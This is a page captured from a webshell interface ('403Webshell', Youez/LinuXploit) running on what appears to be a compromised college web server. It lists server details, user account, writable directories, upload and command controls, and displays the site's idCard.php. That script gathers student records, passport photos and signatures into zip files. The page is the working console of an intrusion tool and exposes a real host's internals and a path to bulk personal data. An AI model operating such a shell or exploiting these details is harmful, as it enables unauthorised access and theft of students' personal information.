403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.50.62
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/externalCall/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/externalCall/idCard.php
<?php
//ini_set('memory_limit', '512M');
//$seconds=60;
//set_time_limit(60);
ini_set('max_execution_time', 60);
include("SpreadsheetAPI_pdoLib.php");
function recordSetToJson($mysql_result,$jsonencode=false,$marker="") {
    $return_arr = array();
    while($datarow = mysql_fetch_assoc($mysql_result)){
        $return_arr[] = $datarow;
    }
    if (!$jsonencode)
        return $return_arr;
    else{
        if ($marker != "")
            return json_encode(array($marker =>$return_arr));
        else
            return json_encode($return_arr);
    }
}
//
$filename = "studentInfo.xls";
require('../connect.php');
$db=db_connect();

//  $Query = "SELECT * from vwAllPayments order by paymentType";



//$Query="select * from vwBursary";


//if (isset($_REQUEST['JSON'])){
//    $result = $db->query($Query);
//    if ($result->rowCount() == 0)
//        echo "NOT_FOUND";
//    else
//
//        echo recordSetToJson($results,true);
//}else {
//    //$result=$result1->fetchAll(PDO::FETCH_BOTH);
//    // $result=mysql_query($Query,$db);
//    //echo 'here';
//    // $result = $db->query($Query);
//
//    xlsProcess($filename);
//    // exit;
//}
//echo "am here";
if (file_exists('tempF')){
    Delete("tempF");
}
if (file_exists('tempF2')){
    Delete("tempF2");
}
mkdir("tempF");
mkdir("tempF2");
$Query1 = $db->query("SELECT DISTINCT matNo, names , sex, course, levelID,mode,gsm,email FROM realdata INNER JOIN remitaorder ro ON matNo =ro.regNo AND ro.transApproved = 'True' AND ro.paymentType = 'School Fees' and pay_session='2021/2022'");
//$Query1=$result;
while ($row=$Query1->fetch(PDO::FETCH_BOTH)){
     $matNo=$row['matNo'];
    if (file_exists('../passport/Reg'.$matNo.'.jpg')){
        copy('../passport/Reg'.$matNo.'.jpg','tempF/Reg'.$matNo.'.jpg');
//        die("here1");
    }
    if (file_exists('../signature/Reg'.$matNo.'.jpg')){
        copy('../signature/Reg'.$matNo.'.jpg','tempF2/Reg'.$matNo.'.jpg');
    }
//die("here2");
}

if (file_exists('pictures.zip')){
    unlink('pictures.zip');
}
if (file_exists('signatures.zip')){
    unlink('signatures.zip');
}
createZipFromDir('tempF','pictures.zip');
createZipFromDir('tempF2','signatures.zip');




function Delete($path)
{
    if (is_dir($path) === true)
    {
        $files = array_diff(scandir($path), array('.', '..'));

        foreach ($files as $file)
        {
            Delete(realpath($path) . '/' . $file);
        }

        return rmdir($path);
    }

    else if (is_file($path) === true)
    {
        return unlink($path);
    }

    return false;
}

function createZipFromDir($dir, $zip_file) {
    $zip = new ZipArchive;
    if (true !== $zip->open($zip_file, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE)) {
//      if(true !== $zip->open($zip_file, ZipArchive::OVERWRITE)){
        return false;
    }
    zipDir($dir, $zip);
    return $zip;
}

function zipDir($dir, $zip, $relative_path = DIRECTORY_SEPARATOR) {
    $dir = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
    if ($handle = opendir($dir)) {
        while (false !== ($file = readdir($handle))) {
            if ($file === '.' || $file === '..') {
                continue;
            }
            if (is_file($dir . $file)) {
                $zip->addFile($dir . $file, $file);
            } elseif (is_dir($dir . $file)) {
                zipDir($dir . $file, $zip, $relative_path . $file);
            }
        }
    }
    closedir($handle);
}


$zip = new ZipArchive;
if ($zip->open('test.zip') === TRUE) {
    $zip->addFile($zip_file, $zip_file);
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}

?>


Youez - 2016 - github.com/yon3zu
LinuXploit